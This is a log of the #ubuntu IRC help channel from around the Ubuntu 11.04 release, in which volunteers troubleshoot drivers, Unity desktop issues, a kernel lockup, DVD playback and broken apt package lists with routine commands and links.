[03:21] <uRock> Zombiedeadshot, just ask
[03:21] <cheapie> todd2: Here we go. 'sudo apt-get install broadcom-sta-common' might fix it.
[03:21] <todd2> cheapie:  here's the lsmod http://paste.ubuntu.com/603076/
[03:21] <AlexGer> Zombiedeadshot sudo updatedb
[03:21] <Jordan_U> genjix: Can you pastebin the contents of  /etc/update-manager/release-upgrades?
[03:21] <AlexGer> Zombiedeadshot locate *.deb
[03:22] <julian_c> eiriksvin: Best bet would be recordmydesktop (with the gtk-recordmydesktop front-end).
[03:22] <cheapie> todd2: OK, yeah, try 'sudo apt-get install broadcom-sta-common'
[03:22] <shcherbak> uRock: locate *.deb or /var/cache/apt/
[03:22] <eiriksvin> how do i go abaout getting that?
[03:22] <mnouh_> Hello, I'm having an issue when I installed clang, I did apt-get install clang and when I run clang, its giving me : main.cpp:1:10: fatal error: 'iostream' file not found
[03:22] <mnouh_> #include <iostream>
[03:22] <mnouh_>          ^
[03:22] <mnouh_> 1 error generated.
[03:22] <Zombiedeadshot> im tired of configueing my crunchbang installzation so i want to know a way i can take the live cd and edit the files so when you boot iit up or install it it will have the required customisations
[03:22] <Jordan_U> AlexGer: "Zentyal" is not a supported derivitive of Ubuntu. You'll have to get support from them.
[03:22] <variable> mnouh_: you need clang++ not clang
[03:23] <variable> mnouh_: I'm uncertain however how to install clang++ on Ubuntu :-)
[03:23] <intelinside2020> can anyone help me with the HTACCESS file!!!!
[03:23] <eiriksvin> and is it compatible with Natty?
[03:23] <uRock> shcherbak, thanks, I had tried searching *.deb, but it came back empty handed
[03:23] <uRock> I found what I was looking for
[03:23] <AlexGer> Jordan_U i tried it olso with ubuntu
[03:23] <genjix> Jordan_U: thank you! that file fixed it.
[03:23] <Jordan_U> genjix: You're welcome.
[03:23]  * cheapie continues waiting for todd2
[03:23] <todd2> cheapie:  did the install, still no light on the wifi saying it's on... may have to restart? right?
[03:23] <eiriksvin> <julian_c> is it compatible with Natty?
[03:24] <cheapie> todd2: That should help.
[03:24] <Jordan_U> AlexGer: What version of Ubuntu and what was the exact error message from Ubuntu?
[03:24] <variable> <intelinside2020> can anyone help me with the HTACCESS file!!!! ---> ask & wait. don't complain
[03:24] <shcherbak> intelinside2020: apache channel would be better choice.
[03:24] <todd2> cheapie: out for a restart...
[03:24] <cheapie> todd2: OK.
[03:24] <RxDx> is there any "netspeed" indicator for Unity?
[03:24] <variable> can anyone tell me & mnouh_ how to install clang++ (the c++ driver for llvm) on Ubuntu ?
[03:24] <sary> eiriksvin: You might also wana try xvidcap.
[03:24] <LAcan> uggghh... where can I go for VNC help?
[03:24] <cheapie> RxDx: What exactly are you looking for?
[03:25] <AlexGer> i googled around to find more information abaut that message and i've seen a coupple of forum posts...
[03:25] <RxDx> cheapie, an applet like net-speed for gnome2
[03:25] <AlexGer> e.g.: http://www.linux-web.de/thread/11061/fehler-es-wurde-kein-installierbarer-kernel-gefunden.html
[03:25] <cheapie> RxDx: Please Wait...
[03:25] <__yhvh__> anyone upgraded their bios recently?
[03:25] <intelinside2020> @variable   i wanted to knw tht i can ask the question hre or not
[03:25] <RxDx> that shows the network speed on the top
[03:25] <RxDx> cheapie, thanks
[03:25] <AlexGer> have to install it again
[03:25] <AlexGer> ...
[03:25] <intelinside2020> @shcherbak thank u
[03:25] <variable> intelinside2020: generally the rule is "don't ask to ask - just ask" and people will redirect you
[03:26] <eiriksvin> <sary> is it in the repo?
[03:26] <julian_c> eiriksvin: sudo "apt-get install gtk-recordmydesktop" (works in Natty, AFAIK)
[03:26] <mnouh_> Anyone know how to install clang++ on Natty, its giving me an error :  fatal error: 'iostream' file not found
[03:26] <mnouh_> #include <iostream>
[03:26] <mnouh_>          ^
[03:26] <mnouh_> 1 error generated.
[03:26] <cheapie> RxDx: I don't think one exists yet. A search turned up nothing.
[03:26] <eiriksvin> <julian_c> sweet getting it now
[03:27] <Zombiedeadshot> i guess what im asking is how can i edit filesystem.squashfs to customize some configueation files within a live cd?
[03:27] <sary> eiriksvin / it is.
[03:27] <variable> mneptok: please avoid pasting multiple lines. :-)
[03:28] <cheapie> Can anybody help me with errors when trying to build an application from source?
[03:28] <Jordan_U> cheapie: What are you trying to install?
[03:28] <eiriksvin> <sary> imma try that one too
[03:28] <mnouh_> Can anyone help me installing clang++ on natty?
[03:28] <mnouh_> install*
[03:29] <AlexGer> Jordan_U i also tried to burn the image with a PC and with a laptop. I used different cd's and DVD's!
[03:29] <Jordan_U> !remaster | Zombiedeadshot
[03:29] <ubottu> Zombiedeadshot: Interested in remastering the Ubuntu !live CD? See: https://help.ubuntu.com/community/LiveCDCustomization or use tools such as http://uck.sourceforge.net/ or http://linux.dell.com/wiki/index.php/DRU_Disc_Remastering_Utility
[03:29] <cheapie> Jordan_U: I am trying to build a program called Skyscraper (http://www.skyscrapersim.com/) on Natty, and I'm getting these errors: http://paste.ubuntu.com/602578/
[03:29] <Zombiedeadshot> @ubottu thank you
[03:30] <mnouh_> Can anyone help me install clang++ on Natty.
[03:31] <jiltdil> how to dd any application  permanently visible on left side panel of unity?
[03:31] <jiltdil> *add
[03:31] <LAcan> ok, outside of VNC what are my remote desktop options for ubuntu?
[03:32] <cheapie> jiltdil: Right click it and select "Keep in Launcher"
[03:32] <mnouh_> How do I install clang++ on Natty.
[03:32] <Jordan_U> cheapie: Have you read http://www.skyscrapersim.com/downloads/linux/linux-install.txt ?
[03:32] <jiltdil> chapie:thanks
[03:32] <cheapie> Jordan_U: I'll go read that now...
[03:34] <cheapie> Jordan_U: That's for the older Crystal Space versions. I'm trying to build one of the new OGRE versions. I followed the instructions on their forum.
[03:35] <jiltdil> any text to speech conversion s/w in ubuntu s/w center except jovie as it is not working i am using natty?
[03:36] <mnouh_> Installing clang++ on Natty. It cannot find the c headers.
[03:37] <dagon> I want my linux to look like the pc in the aracade in tron
[03:37] <Mx0> ._.
[03:37] <dagon> you know they use linux in legacy
[03:38] <Jordan_U> dagon: Press ctrl+alt+F1, ctrl+alt+F7 to get back to X (the GUI).
[03:38] <kylemcgill> dagon: use arch linux then
[03:38]  * cheapie wonders what's taking Jordan_U so long
[03:40] <Jordan_U> cheapie: I'm not particularly interested in going through the steps to install it myself and thus can't really help you much.
[03:40] <cheapie> Jordan_U: Well, there goes the third person that I've asked for help...
[03:40] <khaotik> what r u trying to install?
[03:41] <cheapie> khaotik: Me? I'm trying to install Skyscraper (skyscrapersim.com)
[03:42] <jiltdil> is there any text to speech conversion s/w in ubuntu s/w center except jovie as it is not working i am using natty?
[03:42] <speed752> whats the "getapt"thing for flash player
[03:43] <shcherbak> jiltdil: festival
[03:43] <AlexGer> Jordan_U any ideas?
[03:43] <DiazepaN> got this error when open cheese One or more needed GStreamer elements are missing: camerabin, can someone help me?
[03:43] <speed752> ?
[03:44] <antonio_> hola cual esta el chat de ubunto venesuela
[03:44] <jiltdil> scherbak:thanks alot
[03:44] <jetscreamer> !es
[03:44] <ubottu> En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[03:44] <jetscreamer> !br
[03:44] <ubottu> Por favor, use #ubuntu-br para ajuda em português. Para entrar no canal por favor faça "/join #ubuntu-br" sem as aspas. Para a comunidade local portuguêsa, use #ubuntu-pt. Obrigado.
[03:44] <Jordan_U> AlexGer: You still haven't told me what version of Ubuntu you are installing and what the exact error message from Ubuntu is.
[03:44] <antonio_> venezuela
[03:44] <jetscreamer> i dunno your language
[03:44] <jetscreamer> lol
[03:44] <DiazepaN> got this error when open cheese One or more needed GStreamer elements are missing: camerabin, can someone help me?
[03:45] <veovis_muaddib> Sorry, decided to move this from #lubuntu - I just installed lubuntu and it detected my network during install, updated things, installed the restricted things, etc...  Then upon first boot DNS didn't work until I added my own nameservers in the system tray tool.  (DHCP Addresses only)  Then upon next boot I could only access my local network, but adding the proper gateway, switching to static IP, all don't work
[03:45] <antonio_> #ubuntu.ve
[03:45] <IdleOne> antonio_: /join #ubuntu-ve
[03:46] <antonio_> gracias
[03:46] <IdleOne> de nada
[03:50] <xiaoji> hello～～～～lieying
[03:50] <lieying> hello xiaoji
[03:51] <andygraybeal_> yay, i have unity :)
[03:51] <andygraybeal_> just needed to isntall proprietary nvidia drivers and it works!
[03:51] <edbian> andygraybeal_: :D
[03:52] <andygraybeal_> :)  i wasn't sure it was gonna work!  but it does!  i am happy.
[03:52] <xiaoji> congratulation to you
[03:52] <LAcan> is there a good guide on optimizing GNOME for VNC (ie. make it faster?)
[03:52] <tepster> i guess the live cd couldnt detect it hey?
[03:52] <mickster04> !vnc
[03:52] <ubottu> VNC is a protocol for remote desktop. https://help.ubuntu.com/community/VNCOverSSH describes how to use it securely.  It works best over fast connections, otherwise look at !FreeNX
[03:52] <andygraybeal_> tepster, yes that is correct.  i wonder if the same would have happened if i installed the opensource nvidia drivers.. maybe i'll find out in the future, but for now i'm set!!
[03:53] <mickster04> LAcan: see ubottus thing
[03:53] <afeijo> did ubuntu 11.04 changed drastically? it now seems the netbook version
[03:53] <mickster04> !unity | afeijo
[03:53] <ubottu> afeijo: Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[03:54] <Edgan> Anyone know how to remove launchers from the panel in Gnome3 fallback mode?
[03:54] <LAcan> mickster04, ya i saw that for setting up my VNC over SSH.. now i just want it to be more responsive
[03:56] <red2kic> Edgan: ADD MORE LAUNCHERS. Start crying. I had the same thing. :\
[03:56] <imbezol> on 11.04.. the side menu bar is stuck open.. how do i close it?
[03:56] <quint> so, im running lubuntu (lxde) cant seem to get emesene to work.. im on 11.04 now when i was 10.10 i could run it clean
[03:57] <red2kic> Edgan: My solution? I ignored it and slowly making a switch to different environment.
[03:57] <Edgan> red2kic: I know the nuclear option of how to get rid of them.
[03:57] <red2kic> Edgan: Remove Gnome3?
[03:58] <Edgan> red2kic: remove your user dconf file
[03:58] <Edgan> red2kic: ~/.config/dconf/user
[03:58] <multipass_> is there any fix for desktop wall edge flipping in 11.04?
[03:59] <soreau> multipass_: Probably not if you don't say what's wrong with it
[03:59] <Edgan> red2kic: They must have been smoking something the day they made dconf binary format.
[03:59] <jiltdil> in synpatic package manager i marked some residual not installes s/w for complete removal but after marking these for removal where from where i apply changes as the apply buttin is freezes?
[04:00] <red2kic> Edgan: I get the same feeling when Vista first came out. (So I made the switch to linux). And now Gnome3 is doing this! :(
[04:00] <Edgan> red2kic: I have considered switching environments.
[04:00] <Edgan> red2kic: They did the same shit, though not this bad, with Gnome2.
[04:00] <multipass_> soreau, very simply it just dosnt work, 10.10 to 11.04 broke it-- it flips sometimes, most of the time it dosnt
[04:00] <red2kic> Edgan: Language. It's the policy here. .__.
[04:01] <Edgan> red2kic: :P
[04:01] <KM0201> red2kic: they'll get it worked out.. do you remember when the transition from kde3 to 4 was made?... it was way rougher
[04:01] <multipass_> soreau, it seems that if u have a window in focus, then it flips, but if not then nothing happens
[04:01] <gtech> I just upgraded to the new version of ubuntu and now when I loggin my scroll lock key blinks and everything locks up, I hear this is a kernal panic, how do I resolve this?
[04:01] <jiltdil> any solution to my problem?
[04:01] <soreau> multipass_: Join the crowd. They really totally screwed up compiz and this whole 11.04 release
[04:01] <red2kic> Edgan: I love Gnome2. Now I'm using AwesomeWM. I need more time to absorb shortcuts.
[04:01] <multipass_> soreau, yay.
[04:01] <red2kic> KM0201: I haven't tried KDE4.
[04:02] <soreau> multipass_: If you feel like getting ignored, file a bug
[04:02] <jiltdil> in synpatic package manager i marked some residual not installes s/w for complete removal but after marking these for removal where from where i apply changes as the apply buttin is freezes?
[04:02] <andygraybeal_> i don't know what the big deal was on the ubuntu list.. this isn't much different than it was before!  i thought it'd be totally different from the whining on the list!
[04:02] <mbrigdan> Hello! Since I upgraded to 11.04, all my window decorations in compiz (i don't really like unity) have disappeared. I've tried reinstalling many things, (even new window decorators, such as emerald) but nothing works, and it makes it hard to do things
[04:02] <KM0201> red2kic: well, now its fine.. (if you like kDE, i personally hate it) but when it first came out, it was a mess.
[04:02] <red2kic> KM0201: Gnome2 was hitting all the notes for me. Now it's singing off-key. :\
[04:02] <KM0201> red2kic: your best bet, if you're that unhappy with gnome3/unity.. is to switch to xfce/lxde.. .
[04:02] <Edgan> red2kic: Sadly it takes them years to get it right. When they do, they are bored, so they start over. :\
[04:03] <KM0201> Edgan: lol, i don't know about a few years, but probably a year is fair
[04:03] <Omega> !attitude > soreau
[04:03] <ubottu> soreau, please see my private message
[04:03] <soreau> Omega: Whatever.
[04:03] <quint> lxde is fantastic
[04:03] <red2kic> Edgan: If it isn't broken, don't try to fix it. Also, it seems like everybody is always trying to reinvent the wheel and call it the new thing.
[04:04] <quint> took a sec to get used to
[04:04]  * KM0201 agrees with quint 
[04:04] <soreau> I'm just telling it like it really is
[04:04] <gdb> I've not tried lxde, but xfce is very gnome2-like if that's the experience you're looking for.
[04:04] <Edgan> red2kic: Not invented here syndrome.
[04:04] <jiance> hi
[04:04] <Omega> If you don't want to be helpful, feel free to leave.
[04:05] <soreau> If you don't want to see a real attitude, feel free to shut up.
[04:05] <KM0201> red2kic: well, it's only natural that a desktop interface evolves.. gnome2-gnome3.. only  makes sense.. it's just gonna take time to work the bugs out.
[04:05] <gtech> I just upgraded to the new version of ubuntu(11.04) and now when I loggin my scroll lock key blinks and everything locks up, I hear this is a kernal panic, I'm using gnome, how do I resolve this?
[04:05] <red2kic> KM0201: Are you on Gnome3 right now?
[04:05] <KM0201> red2kic: no, but i tested it pretty extensively w/ fedora
[04:06] <red2kic> KM0201: You can't change the background with traditional right-click --> Background. They took away many things.
[04:06] <soreau> gtech: Typically a kernel panic is caused by a faulty kernel module
[04:07] <quint> what is this kernel panic you speak of?
[04:07] <soreau> gtech: Which graphics card do you have?
[04:07] <fearphage> my bluetooth adapter (internal, laptop, GE620) is not automatically recognized. how do i probe for it?
[04:07] <red2kic> gtech: If things aren't working, you can reboot and hold SHIFT to select older kernel.
[04:07] <KM0201> red2kic: i'm aware of that.
[04:07] <soreau> quint: It's basically a lockup where your keyboard LEDs start blinking
[04:07] <nutsfornatty> its still light years better than windows and no apple tax like a mac, no real room for unity complaints
[04:07] <gtech> soreau: gtx 260
[04:07] <Edgan> red2kic: I think that was nautilus, which can be brought back
[04:08] <soreau> gtech: Is that an nvidia model?
[04:08] <gtech> red2kic: I'll try that again, last time I did it just hung on the loading screen
[04:08] <gtech> soreau: yeah
[04:08] <Edgan> red2kic: you need gnome-tweak-tool, and then set file manager | have file manager handle the desktop | on
[04:08] <quint> pcmanfm is the wayy
[04:08] <soreau> gtech: Can you boot into recovery mode ok?
[04:09] <Edgan> red2kic: then run nautilus. I just tried it, it let me change my background.
[04:09] <gtech> soreau: yeah
[04:09] <awesomestman> Is this the appropriate loction to ask for Ubuntu support?
[04:09] <ZekeS> yes
[04:09] <red2kic> Edgan: I like gconf-editor better. I'm just going to walk away from this cesspool. :)
[04:10] <Edgan> red2kic: gconf-editor = dconf-editor now
[04:10] <gtech> soreau: what should I do once there?
[04:10] <red2kic> awesomestman: Yes. Welcome to #ubuntu
[04:10] <chaospsyX> what do i need to access a windows network from ubuntu ?
[04:10] <awesomestman> Thanks.
[04:10] <KM0201> chaospsyX: samba
[04:10] <KM0201> !samba
[04:10] <ubottu> Samba is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and https://help.ubuntu.com/10.04/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT.
[04:10] <quint> say now, how do i go about installing the java environment and icedtea ?
[04:10] <ZekeS> chaospsyX: samba, although ubuntu should see them out of the box iirc
[04:10] <quint> (forgot how)
[04:11] <red2kic> awesomestman: If you have a question, plop it away. Somebody who know the answer are likely to respond.
[04:11] <red2kic> !java | quint
[04:11] <ubottu> quint: To install a Java runtime on Ubuntu on 10.04 LTS and newer, see http://tinyurl.com/2ffg7cc -  For the Sun Java products and browser plugin, search for the sun-java6- packages in the !partner repository on Lucid (which must be enabled), or !multiverse repository on older releases.
[04:11] <bazhang> quint, enable partner repo
[04:11] <quint> thanks ! :)
[04:11] <awesomestman> Just made the switch to Ubuntu today. I have some issues with Software Center. It's been hanging on me and won't get past the loading icon.
[04:11] <soreau> gtech: Try blacklisting the nvidia kernel module by creating a file called /etc/modprobe.d/blacklist-nvidia.conf and putting 'nvidia' on a single line without quotes
[04:12] <zenocon> quint: sudo apt-get install sun-java6-jdk
[04:13] <gtech> soreau: cool, I'll try it
[04:13] <soreau> gtech: Also remove /etc/X11/xorg.conf if it exists
[04:13] <red2kic> Software Center is back in Ubuntu 11.04?
[04:13] <chaospsyX> LOL
[04:14] <chaospsyX> omg
[04:14] <ZekeS> ?
[04:14] <KM0201> red2kic: well of course it is, why wouldn't it be?
[04:14] <trinikrono> awesomestman: use apt-get :D
[04:14] <soreau> red2kic: I don't think it ever went away
[04:14] <red2kic> awesomestman: Close it. Use a terminal or synpatic when it comes to install packages.
[04:14] <chaospsyX> <red2kic> Software Center is back in Ubuntu 11.04?  <---- LOL
[04:14] <ZekeS> disregard apt-get, use aptitude
[04:14] <soreau> chaospsyX: It's not that funny, really
[04:14]  * KM0201 sighs..
[04:14] <ZekeS> :)
[04:14] <faryshta> Hello. I can't read original DVD's. Looks like its a region issue. How can I fix it?
[04:14] <red2kic> chaospsyX: Somebody trustworthy told me that. :|
[04:14] <KM0201> faryshta: have you installed libdvdcss?
[04:14] <soreau> ! dvd | faryshta
[04:14] <ubottu> faryshta: Ubuntu's default installation and repositories do not include packages needed to play commercial DVDs for legal reasons. For information on adding them, see https://help.ubuntu.com/community/RestrictedFormats/PlayingDVDs | For information on the legalities involved, see the "DVD" section of https://help.ubuntu.com/community/FreeFormats
[04:15] <faryshta> KM0201, yes, I can read pirates and downloaded dvd's. I can't read original DVD's region 4.
[04:15] <gtech> soreau: which log files would I attempt to look at to see what is happening?
[04:15] <red2kic> Then again, this is Internet. I shouldn't trust anyone.
[04:15] <KM0201> faryshta: read the lnk soreau gave you above
[04:15] <magpii> i just updated to ubuntu 11 and now i cannot see the panels on my desktop, also, i cannot move any open windows or resize them . any help?
[04:15] <red2kic> awesomestman: Open a terminal (under Accessories) -- Type "aptitude search firefox" -- You get the idea.
[04:15] <chaospsyX> red2kic: :-P
[04:16] <red2kic> awesomestman: Want to install firefox? "sudo aptitude install firefox"
[04:16] <soreau> gtech: Probably /var/log/syslog and /var/log/messages
[04:16] <faryshta> soreau, KM0201, I have libdvdread4 and libdvdcss installed.
[04:16] <soreau> red2kic: Hey, watch your aptitude buddy
[04:16] <soreau> ;)
[04:17] <KM0201> faryshta: ther's also instructinos on that site on how to deal w/ region issues
[04:17] <awesomestman> red2kic: thanks. I was trying to find what to enter into terminal to install something
[04:17] <tbrew13> i need some help with chrome how do i get just the chrome border and not the unity border in ubuntu 11.04 also the bisigi repository does not work
[04:18] <magpii> i cannot view the panels on my desktop, also windows wont move or resize and the close, minimize and maximize buttons ar not visible, can someone advise please?
[04:18] <trinikrono> awesomestman: you can look at http://ubuntuguide.org/ it has a guide on how to install alot of things that you might need
[04:19] <red2kic> awesomestman: If you're new, obviously this stuffs will confuse you at first -- but after few days, your brain cells will start firing up and you're *now* off autopilot in your life. :)
[04:19] <faryshta> KM0201, I remember using an illegal opensource lib in my old installation. Do you know any?
[04:19] <KM0201> faryshta: even if i did, it wouldn't be allowed to be discussed here
[04:19] <faryshta> KM0201, its only illegal in US. Not in my country méxico.
[04:20] <faryshta> It was done by DVD-Jon.
[04:20] <magpii> can anyone tell me how i can revert to ubuntu 10 seeing as 11.04 has just screwed my perfectly decent system up
[04:20] <red2kic> awesomestman: https://help.ubuntu.com/community/AptitudeSurvivalGuide#Aptitude from the command line
[04:20] <KM0201> faryshta: then try ubuntu-es
[04:20] <bazhang> magpii, full reinstall, or choose gnome-classic from login window
[04:20] <chaospsyX> magpii: i was in your situation a few nights ago :-( i feel for ya man, i really do
[04:20] <red2kic> awesomestman: Number #5
[04:21] <bazhang> !medibuntu | faryshta
[04:21] <ubottu> faryshta: medibuntu is a repository of packages that cannot be included into the Ubuntu distribution for legal reasons - See http://www.medibuntu.org
[04:21] <magpii> none of my panels are showing on desktop, the close window, minimize an resize options are gone, so is my 3d desktop
[04:21] <Guest17232> recently bought the verizon mobile hotspot, but everytime i connect to it with ubuntu, the connection drops every 10 sec, any suggestions?
[04:21] <bazhang> magpii, you wish to use unity-2d then? or gnome classic
[04:22] <Guest17232> it's the verizon 4g mobile hotspot
[04:22] <soreau> Guest17232: Does it work ok with any other OS on the same machine?
[04:23] <Guest17232> soreau: not on the same machine, but it works with windows no problems whatsoever
[04:23] <keithtoo> anyone know how to configure vmalloc size in grub on natty?
[04:23] <Guest17232> soreau: i have another laptop with the windows OS, and it connects fine
[04:24] <gtech> soreau: no dice, it still locks up
[04:24] <Guest17232> i have the latest version of ubuntu (11.04)
[04:24] <quint> did you do a distro upgrade ?
[04:24] <quint> if your using gdm you can still choose your last gnome interface rather than unity
[04:24] <quint> well
[04:24] <quint> doesnt really matter if you use gdm actually
[04:24] <gtech> soreau: I'll try looking at the log
[04:24] <soreau> gtech: Did you check those log files? esp syslog?
[04:24] <gtech> soreau: not yet
[04:24] <tearlight> ???
[04:24] <soreau> gtech: I'm only guessing the nvidia module is the problem
[04:24] <magpii> i just wanted to have my desktop as it was in ubuntu 10 after the upgrade to 11.04, but since upgrade, the entire desktop is screwed, and the new sidebar panal has disapeared as well as the main menu bar when windows are opened
[04:25] <red2kic> magpii: LTS. (10.04). <3
[04:25] <bazhang> magpii, it reappears with mouse over, you could try unity-2d if your card is not up to it, or choose gnome classic from the login window
[04:25] <keithtoo> magpii: log in under classic desktop
[04:26] <jiltdil> always when i opens firestartter after entering password it says "failed to open the system log , no event information will be available." please tell how to fix it?
[04:26] <awesomestman> so I use aptitude to install a package I already downloaded?
[04:26] <red2kic> awesomestman: What are you trying to install?
[04:26] <magpii> ok i will try classic first, as for the mouse over, tried for the last hour and nothing. will re log and follow classic option then try 2d
[04:26]  * keithtoo hates unity
[04:26] <red2kic> ^
[04:26] <magpii> thanks for the help, cya soon
[04:26] <bazhang> magpii, the unity-2d package needs to be installed
[04:26] <awesomestman> Skype.
[04:27] <red2kic> !skype | awesomestman
[04:27] <ubottu> awesomestman: To install Skype on Ubuntu, see https://help.ubuntu.com/community/Skype - To record on Skype, check: https://wiki.ubuntu.com/SkypeRecordingHowto - Please use open protocols instead if you can, see !Ekiga
[04:27]  * chaospsyX prepares for the inevitable mutiny within the ubuntu community as a result of 'unity'
[04:27] <magpii> thanks, is it bundled with package manager?
[04:27] <jiltdil> no solution?
[04:27] <bazhang> magpii, yes
[04:27] <red2kic> !info skype
[04:27] <ubottu> Package skype does not exist in natty
[04:28] <magpii> ok thanks, will log back in shortly with any issue after reboot into classic, fingers crossed
[04:28] <red2kic> awesomestman: You may have to enable partner repo. (Look under Software Sources).
[04:28] <chaospsyX> how ironic if 'unity' resulted in the ubuntu community becoming divided, lol
[04:28] <bazhang> chaospsyX, lets take this to the chat channel please
[04:28] <chaospsyX> ok no prob
[04:28] <ner0x> Anyone to keep track of expenses in Ubuntu?
[04:29] <jiltdil> bazhang: always when i opens firestartter after entering password it says "failed to open the system log , no event information will be available." please tell how to fix it?
[04:29] <bazhang> ner0x, an app?
[04:29] <ner0x> bazhang: Yeah.
[04:29] <bazhang> jiltdil, why not try gufw instead
[04:29] <red2kic> ner0x: https://www.mint.com/ :)
[04:29] <bazhang> red2kic, ?
[04:29] <red2kic> bazhang: Not that gucci knockoff AKA Linux Mint
[04:30] <jiltdil> bazhang: is gufw is in graphical
[04:30] <IdleOne> jiltdil: yes
[04:30] <bazhang> jiltdil, yes its graphical for ufw
[04:30] <bazhang> ner0x, like gnucash ? along those lines?
[04:30] <DavidReza> !gpg
[04:30] <ubottu> gpg is the GNU Privacy Guard.  See https://help.ubuntu.com/community/GnuPrivacyGuardHowto and class #8 on https://wiki.ubuntu.com/ClassroomTranscripts
[04:30] <jiltdil> bazhang:idle0ne:thanks
[04:30] <DavidReza> !pgp
[04:31] <bazhang>  /msg ubottu please
[04:31] <jiltdil> bazhang: one more question in synpatic package manager i marked some residual not installes s/w for complete removal but after marking these for removal where from where i apply changes as the apply buttin is freezes?
[04:31] <ner0x> bazhang: Yeah, something like that.
[04:31] <awesomestman> I didn't know that Skype was going to be a problem given that it seemed okay to download.
[04:31] <bazhang> ner0x, should be a list in the package manager, or apt-cache search related-term will turn up some
[04:32] <IdleOne> ner0x: search synaptic or Software centre for "accounting"
[04:32] <bazhang> jiltdil, what about from the command line? sudo apt-get remove packagename
[04:32] <study> any one konw how to use autoconf...
[04:32] <IdleOne> bazhang: he is going to get an lock error :)
[04:32] <bazhang> study, to do what, clarify
[04:33] <IdleOne> s/an/a/
[04:33] <study> ...
[04:33] <bazhang> IdleOne, good point
[04:33] <study> i want to get config.h
[04:33] <bazhang> study, instead of asking a generic question, ask what you really want
[04:33] <study> i want to study program...
[04:33] <bazhang> jiltdil, be sure to close software center before you try that command
[04:34] <bazhang> study, this is not the channel for that
[04:34] <red2kic> awesomestman: It's not a problem. Private softwares usually don't go in any repo (aptitude database) -- because well, it's closed thus we can't view the codes -- therefore we don't know if it's really safe -- but yeah, it's available. The same thing goes for dropbox.
[04:34] <jiltdil> bazhang:it also gives residual in synpatic package manager
[04:34] <study> so for waht?
[04:34] <bazhang> study, Ubuntu support
[04:34] <bazhang> !alis | study
[04:34] <ubottu> study: alis is a services bot that can help you find channels. Read "/msg alis help list" for help and ask any questions about it in #freenode. Example usage: /msg alis list #ubuntu*
[04:34] <bazhang> jiltdil, close them all and try the command from the terminal
[04:35] <study> .....ubuntu...
[04:35] <red2kic> awesomestman: When you enable the partner repo -- you're now aware about the choices you're making. You're now aware that you're about to install Skype (which you can't see the codes) and you're going to accept it. It's all new to you, but install it. It's fine.
[04:35] <bazhang> study, got an ubuntu support issue?
[04:35] <IdleOne> study: what exactly is it you are trying to do?
[04:35] <jiltdil> bazhang:ok but why the apply button in package manager is frezed when i want to apply for the packages to removal
[04:35] <study> ....who are u?
[04:35] <study> why i can`t ask question here...
[04:36] <bazhang> jiltdil, perhaps a bug? try from terminal to verify its not something else
[04:36] <IdleOne> study: we are volunteers trying to figure out how to help yoy :)
[04:36] <IdleOne> you*
[04:36] <study> a ha..
[04:36] <red2kic> study: We're trying to help you study something -- but what is it that you want to study? :)
[04:36] <bazhang> autoconf is hardly an ubuntu issue study
[04:36] <study> i will try...
[04:36] <awesomestman> Oh, I see. I was just trying to make sure I could maintain parts of my social life while keeping Ubuntu as an operating system.
[04:36] <jguzikowski> Hey guys, is it suggested to NOT upgrade from the last version of Ubuntu to the latest?
[04:37] <ner0x> Thanks.
[04:37] <bazhang> jguzikowski, no
[04:37] <awesomestman> Anyways, this is what I got in Terminal.
[04:37] <jguzikowski> bazhang: sorry, i worded that terribly..should i do a clean install of the newest ubuntu or just upgrade?
[04:37] <awesomestman> richard@richard-VGN-FZ430E:~$ sudo apt-get install skype [sudo] password for richard:  Sorry, try again. [sudo] password for richard:  Reading package lists... Error! E: Encountered a section with no Package: header E: Problem with MergeList /var/lib/apt/lists/us.archive.ubuntu.com_ubuntu_dists_natty_main_i18n_Translation-en E: The package lists or status file could not be parsed or opened. richard@richard-VGN-FZ430E:~$
[04:38] <bazhang> jguzikowski, both work, I have done both without issue; back up as always, and having a separate home is always a good idea
[04:38] <IdleOne> awesomestman: run sudo apt-get update
[04:38] <IdleOne> awesomestman: after try to install skype again
[04:39] <awesomestman> got to 99% then this happened
[04:39] <awesomestman> Ign http://us.archive.ubuntu.com natty-updates/universe Translation-en Reading package lists... Error! E: Encountered a section with no Package: header E: Problem with MergeList /var/lib/apt/lists/us.archive.ubuntu.com_ubuntu_dists_natty_main_i18n_Translation-en E: The package lists or status file could not be parsed or opened. richard@richard-VGN-FZ430E:~$
[04:39] <jguzikowski> Thanks baz, off to go try updating
[04:39] <julian_c> Perhaps clear out the directory </var/lib/apt/lists>, and then run "apt-get update" again.
[04:40] <jakegub> I'm having unity problems on my new Sandy Bridge Optimus-equipped notebook.   Ouput of unity-support-test is http://pastebin.com/XBCLgx8E
[04:41] <awesomestman> julian_c: was that directed at me?
[04:41] <red2kic> awesomestman: Yes.
[04:41] <red2kic> awesomestman: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/735491
[04:41] <ubottu> Ubuntu bug 735491 in apt (Ubuntu) "apt can't recover from file corruptions (dup-of: 226361)" [Undecided,New]
[04:41] <ubottu> Ubuntu bug 226361 in apt (Ubuntu) "apt-get update fails forever for corrupted /var/lib/apt/lists/foo_Packages" [Wishlist,Triaged]
[04:42] <unorugby> is this were I can ask a support question, or is there another chat room?
[04:42] <red2kic> unorugby: Ask away.
[04:42] <IdleOne> unorugby: ubuntu support yes
[04:42] <awesomestman> do I just delet everything in that folder? Just wondering because there's another folder inside it called "partial" and I'm not sure if that's suposed to be there or not.
[04:43] <gtech> soreau: http://pastebin.ca/2053687 The actual lock up happens at 20:31:41 but this is as close as I can get
[04:44] <gtech> soreau: the log stops there
[04:44] <unorugby> ok, ive been having some issues with loading ubuntu...when I launch my computer everything starts out normal (getting to the screen when i select either ubuntu or windows 7), but if I select ubuntu it goes through a sequence but never loads it
[04:44] <IdleOne> awesomestman: should be safe to delete all that
[04:44] <unorugby> should I reinstall?
[04:44] <red2kic> awesomestman: "sudo mv /var/lib/apt/lists/us.archive.ubuntu.com_ubuntu_dists_natty_main* ~/Desktop/"
[04:44] <gtech> soreau: at least until the next boot
[04:44] <red2kic> awesomestman: "sudo aptitude update"
